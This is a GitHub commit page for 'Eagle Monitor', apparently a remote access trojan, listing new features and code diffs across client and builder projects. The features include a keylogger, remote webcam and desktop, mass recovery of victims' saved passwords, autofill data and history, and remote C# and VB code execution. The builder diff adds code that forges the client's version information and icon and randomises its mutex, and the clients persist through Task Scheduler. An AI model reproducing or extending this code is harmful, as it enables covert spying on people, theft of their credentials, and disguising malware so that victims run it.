Skip to content

Commit 99e5f3a

Browse files
committed
3.1.8.0
* Remote desktop optimization (interval & format options removed) * Remote Webcam optimization (NullReference fixed, interval removed) * Added keywords recovery in mass packet * Added autofill recovery in mass packet * Added C# remote code * Added VB remote code * Added RECOVERY_ALL packet for Mass task form (autofill, history, passwords, keywords) * Mass form : fixed theme * Option for builder : change assembly information * Option for builder : change client icon * Builder interface reworked * Some overal fixes and optimizations (ex : removed useless imports, removed unused icons...)
1 parent f4e55ec commit 99e5f3a

File tree

348 files changed

+7476
-967
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

348 files changed

+7476
-967
lines changed

Remote Access Tool/Client/Networking/ClientHandler.cs

+1
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,7 @@ private void StopOfflineKeyLogger()
7979
public void EndConnect(IAsyncResult ar)
8080
{
8181
Connected = connectAsync.EndInvoke(ar);
82+
8283
if (Connected)
8384
{
8485
ConnectedPacket connectionPacket = new ConnectedPacket();

Remote Access Tool/Client/Networking/PacketHandler.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ internal static void ParsePacket(IPacket packet)
3737
break;
3838

3939
case (PacketType.UNINSTALL_CLOSE_CLIENT):
40-
Persistence.Launch.RemoveTaskScheduler(Config.taskName);
40+
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName);
4141
break;
4242

4343
default:

Remote Access Tool/Client/StarterClass.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ public static void Main()
6161

6262
public static void MakeInstall()
6363
{
64-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName);
64+
Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName);
6565
}
6666
}
6767
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientDll/EntryClass.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ public static void Main()
5959

6060
public static void MakeInstall()
6161
{
62-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName);
62+
Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName);
6363
}
6464
}
6565
}

Remote Access Tool/ClientDll/Networking/PacketHandler.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ internal static void ParsePacket(IPacket packet)
3737
break;
3838

3939
case (PacketType.UNINSTALL_CLOSE_CLIENT):
40-
Persistence.Launch.RemoveTaskScheduler(Config.taskName);
40+
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName);
4141
break;
4242

4343
default:
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientVB/Networking/PacketHandler.vb

+1-1
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ Namespace Client
3030
StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
3131

3232
Case (PacketType.UNINSTALL_CLOSE_CLIENT)
33-
Persistence.Launch.RemoveTaskScheduler(Config.taskName)
33+
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName)
3434

3535
Case Else
3636
pluginDelegateAsync.BeginInvoke(packet, New AsyncCallback(AddressOf EndLoadPlugin), Nothing)

Remote Access Tool/ClientVB/Starter.vb

+1-1
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ Namespace Client
5555
End Sub
5656

5757
Public Shared Sub MakeInstall()
58-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
58+
Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName)
5959
End Sub
6060
End Class
6161
End Namespace
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientVBDll/EntryClass.vb

+1-1
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ Namespace Client
5353
End Sub
5454

5555
Public Shared Sub MakeInstall()
56-
Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
56+
Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName)
5757
End Sub
5858
End Class
5959
End Namespace

Remote Access Tool/ClientVBDll/Networking/PacketHandler.vb

+1-2
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
Imports PacketLib
22
Imports PacketLib.Packet
3-
Imports System.Diagnostics
43

54
'
65
'|| AUTHOR Arsium ||
@@ -30,7 +29,7 @@ Namespace Client
3029
EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
3130

3231
Case (PacketType.UNINSTALL_CLOSE_CLIENT)
33-
Persistence.Launch.RemoveTaskScheduler(Config.taskName)
32+
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName)
3433

3534
Case Else
3635
pluginDelegateAsync.BeginInvoke(packet, New AsyncCallback(AddressOf EndLoadPlugin), Nothing)
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/Eagle Monitor Builder/Eagle Monitor Builder.csproj

+10-1
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,9 @@
5656
<Reference Include="System" />
5757
<Reference Include="System.Drawing" />
5858
<Reference Include="System.Windows.Forms" />
59+
<Reference Include="Vestris.ResourceLib, Version=2.1.0.0, Culture=neutral, processorArchitecture=MSIL">
60+
<HintPath>..\..\packages\Vestris.ResourceLib.2.1.0\lib\net45\Vestris.ResourceLib.dll</HintPath>
61+
</Reference>
5962
</ItemGroup>
6063
<ItemGroup>
6164
<Compile Include="Helpers.cs" />
@@ -70,6 +73,11 @@
7073
</Compile>
7174
<Compile Include="Program.cs" />
7275
<Compile Include="Properties\AssemblyInfo.cs" />
76+
<Compile Include="RandomInt.cs" />
77+
<Compile Include="RandomString.cs" />
78+
<Compile Include="WindowsTabControls.cs">
79+
<SubType>Component</SubType>
80+
</Compile>
7381
<EmbeddedResource Include="Main.resx">
7482
<DependentUpon>Main.cs</DependentUpon>
7583
</EmbeddedResource>
@@ -84,6 +92,7 @@
8492
<Compile Include="Properties\Resources.Designer.cs">
8593
<AutoGen>True</AutoGen>
8694
<DependentUpon>Resources.resx</DependentUpon>
95+
<DesignTime>True</DesignTime>
8796
</Compile>
8897
<None Include="app.manifest" />
8998
<None Include="packages.config" />
@@ -98,8 +107,8 @@
98107
</Compile>
99108
</ItemGroup>
100109
<ItemGroup>
101-
<Content Include="build.ico" />
102110
<Content Include="dfrgui_130.ico" />
111+
<None Include="Resources\eagle2.png" />
103112
</ItemGroup>
104113
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
105114
<Import Project="..\..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\..\packages\Fody.6.0.0\build\Fody.targets')" />

Remote Access Tool/Eagle Monitor Builder/Helpers.cs

+55-19
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
using dnlib.DotNet;
66
using dnlib.DotNet.Emit;
77
using System.Runtime.InteropServices;
8-
using System.Text;
8+
using Vestris.ResourceLib;
99

1010
/*
1111
|| AUTHOR Arsium ||
@@ -25,8 +25,6 @@ internal class Utils
2525
internal static string GPath = Application.StartupPath;
2626

2727
internal static string stubPath = GPath + "\\Stubs\\Client";
28-
29-
internal static string randomString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyz|@#^{}[]`´~";
3028
}
3129

3230
internal class Config
@@ -43,7 +41,7 @@ internal class Config
4341
public bool is64BitStub { get; set; }
4442
}
4543

46-
internal void Build(string path, string dns, string port, string key, string taskName, string time, string keylog)
44+
internal void Build(string path, string dns, string port, string key, string taskName, string time, string keylog, string[] assemblyInfo = null, string iconPath = null)
4745
{
4846
ModuleDefMD asmDef = ModuleDefMD.Load(path);
4947
try
@@ -61,28 +59,23 @@ internal void Build(string path, string dns, string port, string key, string tas
6159
WriteSettings(asmDef, dns, port, key , taskName, time, keylog, saveFileDialog1.FileName);
6260
asmDef.Write(saveFileDialog1.FileName);
6361
asmDef.Dispose();
64-
MessageBox.Show("Done !", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
62+
63+
WriteAssemblyInformation(saveFileDialog1.FileName, assemblyInfo[0], assemblyInfo[1], assemblyInfo[2], assemblyInfo[3], assemblyInfo[4], assemblyInfo[5], assemblyInfo[6], assemblyInfo[7]);
6564
}
65+
66+
if (!string.IsNullOrEmpty(iconPath))
67+
SetIcon(iconPath, saveFileDialog1.FileName);
68+
69+
MessageBox.Show("Done !", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
6670
}
6771
}
6872
}
69-
catch (Exception)
73+
catch (Exception ex)
7074
{
75+
MessageBox.Show(ex.ToString());
7176
asmDef?.Dispose();
7277
}
7378
}
74-
/* public static string hostIp = "127.0.0.1";
75-
public static string port = "7788";
76-
public static string generalKey = "123456789";
77-
public static string taskName = "%C%";
78-
public static string time = "%1%";
79-
public static string offKeylog = "0";*/
80-
81-
private readonly Random random = new Random();
82-
private string NextString(int length) => new string((
83-
from _ in Enumerable.Range(0, length)
84-
let i = random.Next(0, Utils.randomString.Length)
85-
select Utils.randomString[i]).ToArray());
8679

8780
private void WriteSettings(ModuleDefMD asmDef, string dns, string port, string key, string taskName, string time, string offKeylog,string AsmName = "Client")
8881
{
@@ -129,12 +122,55 @@ private void WriteSettings(ModuleDefMD asmDef, string dns, string port, string k
129122
if (method.Body.Instructions[i].Operand.ToString() == "%MUTEX%")
130123
{
131124

132-
method.Body.Instructions[i].Operand = "EM-" + NextString(24);
125+
method.Body.Instructions[i].Operand = "EM-" + RandomString.NextString(24);
133126
}
134127
}
135128
}
136129
}
137130
}
138131
}
132+
133+
private void WriteAssemblyInformation(string path, string fileVer, string prodVer, string prodName, string desc, string compName, string copyright, string trademarks, string orgiName)
134+
{
135+
try
136+
{
137+
VersionResource versionResource = new VersionResource();
138+
versionResource.LoadFrom(path);
139+
140+
versionResource.FileVersion = fileVer;
141+
versionResource.ProductVersion = prodVer;
142+
versionResource.Language = 0;
143+
144+
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
145+
stringFileInfo["ProductName"] = prodName;
146+
stringFileInfo["FileDescription"] = desc;
147+
stringFileInfo["CompanyName"] = compName;
148+
stringFileInfo["LegalCopyright"] = copyright;
149+
stringFileInfo["LegalTrademarks"] = trademarks;
150+
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
151+
stringFileInfo["InternalName"] = orgiName;
152+
stringFileInfo["OriginalFilename"] = orgiName;
153+
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
154+
stringFileInfo["FileVersion"] = versionResource.FileVersion;
155+
156+
versionResource.SaveTo(path);
157+
}
158+
catch (Exception)
159+
{}
160+
}
161+
162+
private void SetIcon(string iconPath, string exePath)
163+
{
164+
try
165+
{
166+
IconFile iconFile = new IconFile(iconPath);
167+
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
168+
iconDirectoryResource.SaveTo(exePath);
169+
}
170+
catch (Exception ex)
171+
{
172+
MessageBox.Show(ex.ToString());
173+
}
174+
}
139175
}
140176
}

0 commit comments

Comments
 (0)